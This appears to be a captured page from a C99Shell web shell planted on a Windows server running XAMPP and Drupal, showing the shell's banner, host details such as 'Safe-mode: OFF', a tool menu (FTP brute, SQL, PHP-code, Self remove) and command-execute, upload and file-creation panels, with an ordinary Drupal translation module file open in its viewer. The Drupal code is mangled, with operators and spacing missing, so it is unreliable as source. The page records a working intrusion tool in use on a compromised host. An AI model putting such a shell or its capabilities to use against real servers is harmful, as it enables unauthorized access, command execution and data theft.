!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\drupal\modules\translation\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     translation.pages.inc (2.12 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: translation.pages.inc,v 1.2 2008/01/07 13:18:40 goba Exp $

/**
 * @file
 * User page callbacks for the translation module.
 */

/**
 * Overview page for a node's translations.
 *
 * @param $node
 *   Node object.
 */
function translation_node_overview($node) {
  if (
$node->tnid) {
    
// Already part of a set, grab that set.
    
$tnid $node->tnid;
    
$translations translation_node_get_translations($node->tnid);
  }
  else {
    
// We have no translation source nid, this could be a new set, emulate that.
    
$tnid $node->nid;
    
$translations = array($node->language => $node);
  }

  
$header = array(t('Language'), t('Title'), t('Status'), t('Operations'));

  foreach (
language_list() as $language) {
    
$options = array();
    
$language_name $language->name;
    if (isset(
$translations[$language->language])) {
      
// Existing translation in the translation set: display status.
      // We load the full node to check whether the user can edit it.
      
$translation_node node_load($translations[$language->language]->nid);
      
$title l($translation_node->title'node/'$translation_node->nid);
      if (
node_access('update'$translation_node)) {
        
$options[] = l(t('edit'), "node/$translation_node->nid/edit");
      }
      
$status $translation_node->status t('Published') : t('Not published');
      
$status .= $translation_node->translate ' - <span class="marker">'t('outdated') .'</span>' '';
      if (
$translation_node->nid == $tnid) {
        
$language_name '<strong>'$language_name .'</strong> (source)';
      }
    }
    else {
      
// No such translation in the set yet: help user to create it.
      
$title t('n/a');
      if (
node_access('create'$node)) {
        
$options[] = l(t('add translation'), 'node/add/'str_replace('_''-'$node->type), array('query' => "translation=$node->nid&language=$language->language"));
      }
      
$status t('Not translated');
    }
    
$rows[] = array($language_name$title$statusimplode(" | "$options));
  }

  
drupal_set_title(t('Translations of %title', array('%title' => $node->title)));
  return 
theme('table'$header$rows);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--